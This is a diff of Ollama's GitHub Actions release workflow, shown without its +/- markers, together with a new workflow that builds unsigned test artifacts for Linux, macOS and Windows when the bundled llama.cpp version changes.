- arch: amd64
target: mlx
- arch: amd64
target: llama-server-rocm_v7_2
- arch: amd64
target: llama-server-vulkan
- arch: arm64
target: llama-server-cpu
- arch: arm64
target: llama-server-cuda_v12
- arch: arm64
target: llama-server-cuda_v13
- arch: arm64
target: jetpack-5
- arch: arm64
target: jetpack-6
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
environment: release
needs: setup-environment
env:
@@ -401,83 +466,114 @@ jobs:
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/login-action@v3
with:
username: ${{ vars.DOCKER_USER }}
password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
- if: matrix.target == 'mlx'
name: Increase Linux swap to 200 GB
shell: bash
run: |
set -e
SWAP_PATH=/swapfile-mlx
SWAP_SIZE_GB=200
if [ -f "$SWAP_PATH" ]; then
sudo swapoff "$SWAP_PATH" 2>/dev/null || true
sudo rm -f "$SWAP_PATH"
fi
if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
echo "fallocate unsupported, falling back to dd"
sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
fi
sudo chmod 600 "$SWAP_PATH"
sudo mkswap "$SWAP_PATH"
sudo swapon "$SWAP_PATH"
swapon --show
free -h
- uses: docker/build-push-action@v6
with:
context: .
platforms: ${{ matrix.os }}/${{ matrix.arch }}
platforms: linux/${{ matrix.arch }}
target: ${{ matrix.target }}
provenance: false
sbom: false
build-args: |
GOFLAGS=${{ env.GOFLAGS }}
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
cache-to: type=inline
- name: Deduplicate CUDA libraries
run: |
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
- run: |
for COMPONENT in bin/* lib/ollama/*; do
case "$COMPONENT" in
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
lib/ollama/rocm) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
esac
done
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
- run: |
echo "Manifests"
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
echo $ARCHIVE
cat $ARCHIVE
done
- run: |
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
done
- uses: actions/upload-artifact@v4
with:
name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
path: |
*.tar.zst
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
cache-from: |
type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
# Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
# Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
# and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
docker-build-push:
strategy:
matrix:
include:
- os: linux
arch: arm64
archive-target: archive
build-args: |
CGO_CFLAGS
CGO_CXXFLAGS
GOFLAGS
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
cache-from: |
type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
type=registry,ref=ollama/release:cache-arm64-jetpack-5
type=registry,ref=ollama/release:cache-arm64-jetpack-6
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
- os: linux
arch: amd64
archive-target: archive
build-args: |
CGO_CFLAGS
CGO_CXXFLAGS
GOFLAGS
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
cache-from: |
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
type=registry,ref=ollama/release:cache-amd64-mlx
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
- os: linux
arch: amd64
suffix: '-rocm'
archive-target: image-archive
build-args: |
CGO_CFLAGS
CGO_CXXFLAGS
GOFLAGS
FLAVOR=rocm
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
cache-from: |
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
environment: release
needs: setup-environment
needs: [setup-environment, linux-depends]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
steps:
@@ -492,9 +588,11 @@ jobs:
with:
context: .
platforms: ${{ matrix.os }}/${{ matrix.arch }}
provenance: false
sbom: false
build-args: ${{ matrix.build-args }}
outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
cache-from: ${{ matrix.cache-from }}
cache-to: type=inline
- run: |
mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
@@ -505,6 +603,64 @@ jobs:
name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
path: |
${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
- uses: docker/build-push-action@v6
with:
context: .
platforms: ${{ matrix.os }}/${{ matrix.arch }}
target: ${{ matrix.archive-target }}
provenance: false
sbom: false
build-args: ${{ matrix.build-args }}
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
cache-from: ${{ matrix.cache-from }}
- name: Deduplicate CUDA libraries
run: |
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
- name: Verify Linux build payloads
shell: bash
run: |
set -euo pipefail
base="dist/${{ matrix.os }}-${{ matrix.arch }}"
for payload in \
"$base/bin/ollama" \
"$base/lib/ollama/llama-server"
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- run: |
for COMPONENT in bin/* lib/ollama/*; do
case "$COMPONENT" in
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
lib/ollama/rocm_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
esac
done
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
- if: matrix.suffix == '-rocm'
run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
- run: |
echo "Manifests"
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
echo $ARCHIVE
cat $ARCHIVE
done
- run: |
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
done
wait
- uses: actions/upload-artifact@v4
with:
name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
path: |
*.tar.zst
# Merge Docker images for the same flavor into a single multi-arch manifest
docker-merge-push:
@@ -544,7 +700,7 @@ jobs:
release:
runs-on: ubuntu-latest
environment: release
needs: [darwin-build, windows-app, linux-build]
needs: [darwin-build, windows-app, docker-build-push]
permissions:
contents: write
env:
@@ -562,6 +718,21 @@ jobs:
- name: Copy install scripts to dist
run: |
cp scripts/install.sh dist/install.sh
- name: Verify release artifacts
run: |
required=(
dist/OllamaSetup.exe
dist/install.ps1
dist/install.sh
dist/ollama-windows-amd64.zip
dist/ollama-windows-arm64.zip
)
for payload in "${required[@]}"; do
if [ ! -f "$payload" ]; then
echo "::error::Missing expected release artifact: $payload"
exit 1
fi
done
- name: Generate checksum file
run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
working-directory: dist
+596
View File
@@ -0,0 +1,596 @@
name: test-llamacpp-update
# PR validation artifacts from this workflow are intentionally unsigned and not
# notarized. They are for llama.cpp update testing only and must not be
# published as release artifacts.
on:
pull_request:
paths:
- 'LLAMA_CPP_VERSION'
permissions:
contents: read
env:
CGO_CFLAGS: '-O3'
CGO_CXXFLAGS: '-O3'
jobs:
setup-environment:
runs-on: ubuntu-latest
outputs:
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
VERSION: ${{ steps.goflags.outputs.VERSION }}
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
steps:
- uses: actions/checkout@v4
- name: Set environment
id: goflags
shell: bash
run: |
set -euo pipefail
VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
{
echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
echo "VERSION=${VERSION}"
echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
} >>"${GITHUB_OUTPUT}"
darwin-build:
runs-on: macos-26-xlarge
needs: setup-environment
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- name: Build unsigned Darwin runtime
run: ./scripts/build_darwin.sh build package
- name: Log build results
run: ls -l dist/
- uses: actions/upload-artifact@v4
with:
name: ollama-darwin.tgz
path: dist/ollama-darwin.tgz
compression-level: 0
# Build payload export stages independently and combine the exported
# filesystem artifacts below. This preserves parallelism without Docker
# registry credentials or oversized GitHub layer caches.
linux-payloads:
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
needs: setup-environment
strategy:
fail-fast: false
matrix:
include:
- arch: amd64
target: publish-llama-server-cpu
payload: cpu
- arch: amd64
target: publish-llama-server-cuda_v12
payload: cuda_v12
- arch: amd64
target: publish-llama-server-cuda_v13
payload: cuda_v13
- arch: amd64
target: publish-llama-server-rocm_v7_2
payload: rocm_v7_2
- arch: amd64
target: publish-llama-server-vulkan
payload: vulkan
- arch: arm64
target: publish-llama-server-cpu
payload: cpu
- arch: arm64
target: publish-llama-server-cuda_v12
payload: cuda_v12
- arch: arm64
target: publish-llama-server-cuda_v13
payload: cuda_v13
- arch: arm64
target: publish-llama-server-cuda_jetpack5
payload: cuda_jetpack5
- arch: arm64
target: publish-llama-server-cuda_jetpack6
payload: cuda_jetpack6
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/build-push-action@v6
with:
context: .
platforms: linux/${{ matrix.arch }}
target: ${{ matrix.target }}
provenance: false
sbom: false
build-args: |
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
outputs: type=local,dest=${{ runner.temp }}/payload
- name: Pack Linux payload
shell: bash
run: |
set -euo pipefail
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
- uses: actions/upload-artifact@v4
with:
name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
compression-level: 0
linux-go:
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
needs: setup-environment
strategy:
fail-fast: false
matrix:
arch: [amd64, arm64]
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/build-push-action@v6
with:
context: .
platforms: linux/${{ matrix.arch }}
target: publish-go
provenance: false
sbom: false
build-args: |
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
outputs: type=local,dest=${{ runner.temp }}/payload
- name: Pack Linux Go payload
shell: bash
run: |
set -euo pipefail
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
- uses: actions/upload-artifact@v4
with:
name: linux-payload-${{ matrix.arch }}-go
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
compression-level: 0
# MLX payloads are intentionally excluded from this workflow; the Dockerfile
# still exposes publish-mlx for a separate MLX-specific workflow.
linux-bundles:
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
needs: [linux-payloads, linux-go]
strategy:
fail-fast: false
matrix:
arch: [amd64, arm64]
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
with:
pattern: linux-payload-${{ matrix.arch }}-*
path: ${{ runner.temp }}/payloads
merge-multiple: true
- name: Assemble Linux payload tree
shell: bash
run: |
set -euo pipefail
src="${{ runner.temp }}/payloads"
arch="${{ matrix.arch }}"
dest="dist/linux-${arch}"
copy_payload() {
local name="$1"
local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
if [ ! -f "${payload}" ]; then
echo "missing payload ${payload}"
exit 1
fi
zstd -d <"${payload}" | tar -C "${dest}" -xf -
}
mkdir -p "${dest}"
copy_payload go
copy_payload cpu
copy_payload cuda_v12
copy_payload cuda_v13
if [ "${arch}" = "amd64" ]; then
copy_payload vulkan
copy_payload rocm_v7_2
else
copy_payload cuda_jetpack5
copy_payload cuda_jetpack6
fi
./scripts/deduplicate_cuda_libs.sh "${dest}"
- name: Verify Linux build payloads
shell: bash
run: |
set -euo pipefail
base="dist/linux-${{ matrix.arch }}"
for payload in \
"${base}/bin/ollama" \
"${base}/lib/ollama/llama-server"
do
[ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
done
- name: Create archive input lists
shell: bash
run: |
set -euo pipefail
for COMPONENT in bin/* lib/ollama/*; do
case "${COMPONENT}" in
bin/ollama*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/*.so*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/vulkan*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
lib/ollama/mlx*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/include*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
lib/ollama/rocm_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
esac
done
working-directory: dist/linux-${{ matrix.arch }}
- name: Log archive input lists
shell: bash
run: |
set -euo pipefail
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
echo "${ARCHIVE}"
cat "${ARCHIVE}"
done
- name: Create Linux archives
shell: bash
run: |
set -euo pipefail
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
done
wait
- uses: actions/upload-artifact@v4
with:
name: ollama-linux-${{ matrix.arch }}.tar.zst
path: ollama-linux-${{ matrix.arch }}.tar.zst
compression-level: 0
- if: matrix.arch == 'amd64'
uses: actions/upload-artifact@v4
with:
name: ollama-linux-amd64-rocm.tar.zst
path: ollama-linux-amd64-rocm.tar.zst
compression-level: 0
- if: matrix.arch == 'arm64'
uses: actions/upload-artifact@v4
with:
name: ollama-linux-arm64-jetpack5.tar.zst
path: ollama-linux-arm64-jetpack5.tar.zst
compression-level: 0
- if: matrix.arch == 'arm64'
uses: actions/upload-artifact@v4
with:
name: ollama-linux-arm64-jetpack6.tar.zst
path: ollama-linux-arm64-jetpack6.tar.zst
compression-level: 0
windows-depends:
needs: setup-environment
strategy:
fail-fast: false
matrix:
os: [windows]
arch: [amd64]
preset: ['CPU']
build-steps: ['cpu cpuArm64']
include:
- os: windows
arch: amd64
preset: 'CUDA 12'
build-steps: cuda12
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
cuda-components:
- '"cudart"'
- '"nvcc"'
- '"cublas"'
- '"cublas_dev"'
cuda-version: '12.8'
- os: windows
arch: amd64
preset: 'CUDA 13'
build-steps: cuda13
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cuda-components:
- '"cudart"'
- '"nvcc"'
- '"cublas"'
- '"cublas_dev"'
- '"crt"'
- '"nvvm"'
- '"nvptxcompiler"'
cuda-version: '13.0'
- os: windows
arch: amd64
preset: 'ROCm 7'
build-steps: rocm7
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
rocm-version: '7.1'
- os: windows
arch: amd64
preset: Vulkan
build-steps: vulkan
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- name: Install system dependencies
run: |
choco install -y --no-progress ccache ninja
if (Get-Command ccache -ErrorAction SilentlyContinue) {
ccache -o cache_dir=${{ github.workspace }}\.ccache
}
- if: matrix.preset == 'CPU'
name: Install Windows ARM64 cross compiler
run: |
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
id: cache-install
uses: actions/cache/restore@v4
with:
path: |
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
C:\Program Files\AMD\ROCm
C:\VulkanSDK
key: ${{ matrix.install }}
- if: startsWith(matrix.preset, 'CUDA ')
name: Install CUDA ${{ matrix.cuda-version }}
run: |
$ErrorActionPreference = "Stop"
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
$subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
}
$cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
- if: startsWith(matrix.preset, 'ROCm')
name: Install ROCm ${{ matrix.rocm-version }}
run: |
$ErrorActionPreference = "Stop"
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
}
$hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
- if: matrix.preset == 'Vulkan'
name: Install Vulkan
run: |
$ErrorActionPreference = "Stop"
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
}
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
if (Test-Path $vulkanRuntime) {
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
}
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
- if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
uses: actions/cache/save@v4
with:
path: |
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
C:\Program Files\AMD\ROCm
C:\VulkanSDK
key: ${{ matrix.install }}
- uses: actions/checkout@v4
- uses: actions/cache@v4
with:
path: ${{ github.workspace }}\.ccache
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
- name: Build Windows dependencies
run: |
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
./scripts/build_windows.ps1 @steps
env:
CMAKE_GENERATOR: Ninja
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- if: matrix.preset == 'CPU'
name: Verify Windows CPU payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- uses: actions/upload-artifact@v4
with:
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
path: dist\*
compression-level: 0
windows-build:
runs-on: windows
needs: setup-environment
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- name: Install clang and gcc-compat
run: |
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy Bypass -Scope Process -Force
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- name: Verify gcc is actually clang
run: |
$ErrorActionPreference='Continue'
$version=& gcc -v 2>&1
$version=$version -join "`n"
echo "gcc is $version"
if ($version -notmatch 'clang') {
echo "ERROR: GCC must be clang for proper utf16 handling"
exit 1
}
$ErrorActionPreference='Stop'
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "20"
- name: Build Windows binaries and app launchers
run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
- name: Verify Windows build payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-arm64/ollama.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- uses: actions/upload-artifact@v4
with:
name: build-windows-amd64
path: dist\*
compression-level: 0
windows-package:
runs-on: windows
needs: [setup-environment, windows-build, windows-depends]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- uses: actions/download-artifact@v4
with:
pattern: depends-windows*
path: dist
merge-multiple: true
- uses: actions/download-artifact@v4
with:
pattern: build-windows*
path: dist
merge-multiple: true
- name: Copy unsigned install script
